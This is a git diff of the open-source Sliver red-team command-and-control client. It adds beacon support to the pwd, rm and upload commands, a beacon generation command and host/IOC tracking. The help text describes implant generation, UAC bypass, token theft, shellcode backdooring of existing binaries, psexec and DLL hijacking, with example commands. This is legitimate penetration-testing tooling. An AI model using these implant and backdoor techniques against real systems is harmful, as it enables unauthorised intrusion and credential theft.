+28 -5
View File
@@ -22,24 +22,47 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+28 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,14 +44,36 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
con.PrintInfof("%s\n", rm.Path)
PrintRm(rm, con)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
+30 -4
View File
@@ -26,21 +26,24 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -66,16 +69,39 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUpload(upload, con)
})
con.PrintAsyncResponse(upload.Response)
} else {
con.PrintInfof("Wrote file to %s\n", upload.Path)
PrintUpload(upload, con)
}
}
// PrintUpload - Print the result of the upload command
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
if upload.Response != nil && upload.Response.Err != "" {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
@@ -0,0 +1,48 @@
package generate
import (
"fmt"
"os"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
minBeaconInterval = 15 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, con)
}
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
config.BeaconInterval = int64(interval)
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
return nil
}
+14 -36
View File
@@ -62,8 +62,8 @@ const (
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultPollTimeout is the default poll timeout
DefaultPollTimeout = 360 // 6 minutes
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
@@ -82,31 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
@@ -235,7 +210,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollInterval := ctx.Flags.Int("poll")
pollTimeout := ctx.Flags.Int("poll-timeout")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -308,8 +283,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: uint32(reconnectInterval),
PollInterval: uint32(pollInterval),
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
@@ -500,9 +475,12 @@ func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
+3 -3
View File
@@ -45,12 +45,12 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if con.ActiveSession.Get() != nil {
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
if con.ActiveTarget.GetSession() != nil {
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
+41 -33
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadExtensionStr: loadExtensionHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -89,6 +89,7 @@ var (
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
// Loot
consts.LootStr: lootHelp,
@@ -172,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -200,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -227,12 +228,12 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
[[.Bold]]About:[[.Normal]] List processes on remote system.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
c2 message round trip to ensure the remote Sliver is still responding to commands.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
C2 message round trip to ensure the remote implant is still responding to commands.`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
@@ -262,10 +263,10 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
[[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -289,20 +290,20 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -369,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
Load an extension:
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
Load an macro:
load /tmp/chrome-dump
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
chrome-dump
├── chrome-dump.dll
├── chrome-dump.so
└── manifest.json
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
{
"extensionName":"chrome-dump", // name of the extension, can be anything
"extensionCommands":[
"macroName":"chrome-dump", // name of the macro, can be anything
"macroCommands":[
{
"name":"chrome-dump", // name of the command available in the sliver client (no space)
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -395,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
"files":{
"x64":"chrome-dump.dll",
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
}
},
{
@@ -427,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
This command uploads a Sliver binary generated on the fly from a profile.
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
@@ -441,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -582,7 +583,10 @@ loot fetch
`
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
reactions do not support variables or logic, they simply allow you to run verbatim
commands when an event occurs. To implement complex event-based logic we recommend
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
@@ -603,7 +607,11 @@ loot fetch
)
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
The built-in reactions do not support variables or logic, they simply allow you to
run verbatim commands when an event occurs. To implement complex event-based logic
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Examples:[[.Normal]]
# The command uses interactive menus to build a reaction. Simply run:
@@ -646,7 +654,7 @@ supplied with the --profile flag.
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+4
View File
@@ -0,0 +1,4 @@
Hosts
======
Command to access and manage host information.
@@ -1,8 +1,8 @@
package c2
package hosts
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,34 +19,28 @@ package c2
*/
import (
"net/http"
"net/http/httptest"
"testing"
"context"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
func TestRsaKeyHandler(t *testing.T) {
certs.SetupCAs()
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
// HostsIOCRmCmd - Remove a host from the database
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
t.Fatal(err)
}
server, err := StartHTTPSListener(&HTTPServerConfig{
Addr: "127.0.0.1:8888",
})
if err != nil {
t.Errorf("Listener failed to start %s", err)
con.PrintErrorf("%s\n", err)
return
}
rr := httptest.NewRecorder()
handler := http.HandlerFunc(server.rsaKeyHandler)
handler.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusOK {
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
ioc, err := SelectHostIOC(host, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+107
View File
@@ -0,0 +1,107 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// HostsIOCCmd - Remove a host from the database
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if 0 < len(host.IOCs) {
con.Printf("%s\n", hostIOCsTable(host, con))
} else {
con.Println()
con.PrintInfof("No IOCs tracked on host\n")
}
}
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleBold)
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
for _, ioc := range host.IOCs {
tw.AppendRow(table.Row{
ioc.Path,
ioc.FileHash,
})
}
return tw.Render()
}
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var iocMap = make(map[string]*clientpb.IOC)
for _, ioc := range host.IOCs {
keys = append(keys, ioc.ID)
iocMap[ioc.ID] = ioc
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
ioc := iocMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
ioc.Path,
ioc.FileHash,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select an IOC:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return iocMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+41
View File
@@ -0,0 +1,41 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsRmCmd - Remove a host from the database
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostRm(context.Background(), host)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+166
View File
@@ -0,0 +1,166 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
var (
// ErrNoHosts - No hosts in database
ErrNoHosts = errors.New("no hosts")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// HostsCmd - Main hosts command
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if 0 < len(allHosts.Hosts) {
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
} else {
con.PrintInfof("No hosts\n")
}
}
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
})
for _, host := range hosts {
var shortID string
if len(host.HostUUID) < 8 {
shortID = host.HostUUID[:len(host.HostUUID)]
} else {
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
shortID,
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
})
}
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
return "None"
}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return strings.Join(sessionNumbers, ", ")
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return []*clientpb.Session{}
}
hostSessions := []*clientpb.Session{}
for _, session := range sessions.Sessions {
if session.UUID == hostUUID {
hostSessions = append(hostSessions, session)
}
}
return hostSessions
}
// SelectHost - Interactively select a host from the database
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var hostMap = make(map[string]*clientpb.Host)
for _, host := range allHosts.Hosts {
keys = append(keys, host.HostUUID)
hostMap[host.HostUUID] = host
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
host := hostMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
host.Hostname,
host.OSVersion,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
